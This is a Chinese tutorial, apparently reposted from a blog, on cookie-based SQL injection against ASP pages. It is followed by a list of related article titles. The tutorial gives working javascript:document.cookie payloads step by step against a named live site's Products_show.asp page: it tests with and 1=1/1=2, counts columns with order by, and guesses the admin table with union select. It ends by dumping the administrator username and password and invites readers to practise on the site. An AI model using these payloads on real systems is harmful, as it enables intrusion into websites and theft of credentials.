那我们还是围绕以下几个问题来看看cookie注入:

1.什么是cookie注入?

2.为什么要cookie注入?

3.怎样cookie注入?

1.什么是cookie注入?

  ♦cookie注入的原理是:就要修改cookie的值,

  ♦cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。

  ♦相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。另外cookie注入的形

  ♦成有两个必须条件,

    条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。

    条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。

2.为什么要cookie注入?

  ♦主要是看看程序员有没有在cookie中做了一些过滤,我们有没有可趁之机。

3.怎样cookie注入?

  cookie注入分为以下几个阶段:

  1. 判断是不是注入点

  2.得到字段总数

  3.查选表名

  4..查选列名

  5.脱裤(就是得到我们想得到列名的值)

我们先理解一下这几个概念:

javascript:alert(document.cookie="id="+escape("284"))

document.cookie:表示当前浏览器中的cookie变量alert():表示弹出一个对话框,在该对话框中单击“确定”按钮确认信息。escape():该函数用于对字符串进行编码。cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。cookie注入原理

这就是改写cookie的值。

1. 判断是不是注入点

  ♦下面还是具体拿个实例来给大家演示下,目标站:http://www.2cto.com /Products_show.asp?id=284,同时也是注入点。我们首先要检测下按照平时的方式注入,在网址后面加 and 1=1。

  ♦可见是使用了防注入系统的,但是目前我们是使用get方式提交的参数,那现在我们将“id=284”这个参数使用cookie提交看看程序对数据接收是否直接使用 request("xx")的方式?

  操作步骤:

    1.要更改成cookie方式提交,我们首先要访问正常的页面,即是:http://www.2cto.com /Products_show.asp?id=284,等页面完全打开之后

    2.我们将IE地址栏清空

    3.然后写上:javascript:alert(document.cookie="id="+escape("284")); 这里的“id=”便是“Products_show.asp?id=284”中的“id=”,“escape("284")”中的“284”是“Products_show.asp?id=284”中的“id=284”了,这两处要根据实际情况来定义。

    4.写完之后按下回车网页中会弹出以下对话框:

    

    5.点击页面上出现的确定框。

    ♦验证是否改好了cookie:现在更改好了cookie后我们就要试下能不能正常访问了,现在在另外一个窗口中我们打开以下地址:http://www.2cto.com /Products_show.asp? 既是将“id=284”去掉后的,然后看是否能正常访问。

    

  可见访问之后的页面与访问http://www.2cto.com /Products_show.asp?id=284的时候是一样的,这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request("xx")的方式。现在cookie形成的一个重要因素已经明确了,接下来我们测试下能否提交特殊字符,看程序是否对数据进行过滤。

♦接下来就是常规步骤了:

  我们再回到刚才更改cookie的页面,然后在IE地址栏处填写javascript:alert(document.cookie="id="+escape("284 and 1=1")); 回车后再去http://www.2cto.com /Products_show.asp?页面刷新,看页面是否正常,如果正常我们再提交javascript:alert(document.cookie="id="+escape("284 and 1=2")); 然后再去刷新,这个时候就会看见出错了

  

2.得到字段总数

  很明显就能看到错误了,而且产品内容也米有显示,到此便可以确定该页面能使用cookie注入了,接下来来的利用过程就和普通注入一样了。我们可以使用union联合查询爆出管理员的账号和密码,但前提是需要知道管理员的表名和字段名,不过我们可以通过猜解。

  首先来使用order by 语句判断出当前执行数据库查询的表的字段数,我们提交:javascript:alert(document.cookie="id="+escape("284 order by 1")); 然会正常,表示可以使用order by语句,如果错误的话可能是不能使用order by来猜解字段数了,拿就需要直接union select 一个一个的试了。然后提交:javascript:alert(document.cookie="id="+escape("284 order by 10")); 如果还返回正常就说明字段数在10以上,我们一次类推直到猜解出正确的字段数,比如这里我提交到了21的时候去刷新页面出现错误,然后提交20的时候去刷新页面就正常了,就说明字段数是20.

3.得到表名

  ♦接下来我们提交:javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage")); 发现有错误,我们再提交javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin"));

发现返回正常页面:

  ♦看到熟悉的画面了吧,这就表示网站数据库存在admin这个表,因我们之前一次提交的是javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage"));,数据库中不存在mange这个表,自然就出错了,使用更换from 处可以来猜解表明,

4.查选列名并脱裤(就是得到我们想得到列名的值)

  ♦那么现在我们在6和17的地方试试username和password看看提交后是否出错,如果出错那么就表示不存在username或者password字段。我们提交:javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,username,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin"));

  

  ♦可见,原来显示6和17的地方现在爆出了管理员的账号和密码了,不过这个密码破不出来,大家可以自己拿网站去练练。总的说来cookie注入和普通注入是一样的,只不过是在提交注入语句的过程不一样而已。如果对普通注入的原理又说了解的话,那么cookie注入也就不难了,在这里我们可以用md5来解密一下,这个到后面我们再讲一下。

转载于:https://www.cnblogs.com/insane-Mr-Li/p/9142681.html

cookie注入原理详解(一)相关推荐

  1. cookie注入原理详解

    那我们还是围绕以下几个问题来看看cookie注入: 1.什么是cookie注入? 2.为什么要cookie注入? 3.怎样cookie注入? 1.什么是cookie注入? ♦cookie注入的原理是: ...

  2. spring依赖注入原理详解(转载)

    spring依赖注入原理详解----转载 所谓依赖注入就是指:在运行期,由外部容器动态地将依赖对象注入到组件中.当spring容器启动后,spring容器初始化,创建并管理bean对象,以及销毁它.所 ...

  3. Web网络安全漏洞分析,SQL注入原理详解

    本文主要为大家介绍了Web网络安全漏洞分析SQL注入的原理详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪 一.SQL注入的基础 1.1 介绍SQL注入 SQL注入就是 ...

  4. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  5. cookie注入 base64注入 原理详解

    前言: 什么是cookie注入? cookie注入: 和一般的注入都一样,只是传参方式不一样.而cookie注入是以cookie方式进行修改注入. GET注入就是在url网址后面加上需要进行的注入语句 ...

  6. mysql数据库sql注入原理_sql注入原理详解(一)

    防止SQL注入: 1.开启配置文件中的magic_quotes_gpc和magic_quotes_runtime设置 2.执行sql语句时使用addslashes进行sql语句转换 3.Sql语句书写 ...

  7. spring依赖注入原理详解

    所谓依赖注入就是指:在运行期,由外部容器动态地将依赖对象注入到组件中.当spring容器启动后,spring容器初始化,创建并管理bean对象,以及销毁它.所以我们只需从容器直接获取Bean对象就行, ...

  8. sql注入的原理详解

    sql注入原理详解(一) 我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到 ...

  9. csrf漏洞防御方案_CSRF 漏洞原理详解及防御方法

    跨站请求伪造:攻击者可以劫持其他用户进行的一些请求,利用用户身份进行恶意操作. 例如:请求http://x.com/del.php?id=1是一个删除ID为1的账号,但是只有管理员才可以操作,如果攻击 ...

  10. 2、cookie session token详解

    cookie session token详解 转自:http://www.cnblogs.com/moyand/ 发展史 1.很久很久以前,Web 基本上就是文档的浏览而已, 既然是浏览,作为服务器, ...

最新文章

  1. Datawhale自组织学习报告!
  2. libgdx学习记录18——Box2d物理引擎
  3. 龙族幻想最新东京机器人位置_龙族幻想:东京·白月境活动介绍
  4. C# 字符串操作学习总结
  5. springboot redis 断线重连_Redis复制:部分同步PSYNC详解
  6. java操作LINUX上文件,设置权限问题
  7. 终端滑模matlab程序,滑模变结构控制 MATLAB程序
  8. linux touch 源码,一天一个shell命令 linux文本操作系列-touch命令用法
  9. 卸载linux订阅包
  10. 深度学习:卷积神经网络CNN变体
  11. 如何成为一名卓越的数据科学家 ——七剑之一:问题定义
  12. PDF处理控件Spire.PDF热门问题解答
  13. 【NOIP2017提高组】宝藏
  14. Ameya:蔡司激光共聚焦显微镜的优势特点及应用领域
  15. python编程一球从100米_Python一个球100米高空落下,每次落下后反弹高度是原高度的一半,再落下...
  16. 安装Pillow指定版本出错
  17. 计算机职高会考知识,高职考试语文基础知识
  18. 环形10个树洞兔子c语言设计,[阅读打卡]I am a Bunny+提高孩子的欣赏能力我是一只小兔子,我的名字叫尼古拉斯 我住在一个树洞里面 在春天的时候,我喜欢看美丽的花儿,有...
  19. Apple DNS加速
  20. 解决ModuleNotFoundError: No module named ‘celery.five‘的问题

热门文章

  1. 写给我们奔三的80后们……
  2. WebsResponse
  3. [导入]关于“啸聚一庐--txna”
  4. 常见的新算法的标准测试函数
  5. 视觉测量为什么要考虑畸变
  6. 智能优化算法改进算法 -附代码
  7. python 根据对应关系批量修改文件名
  8. JS学习总结(13)——DOM
  9. 三维激光扫描数据处理理论及应用
  10. 【ArcGIS|空间分析】数据交互(Google Earth与ArcGIS,ENVI与ArcGIS)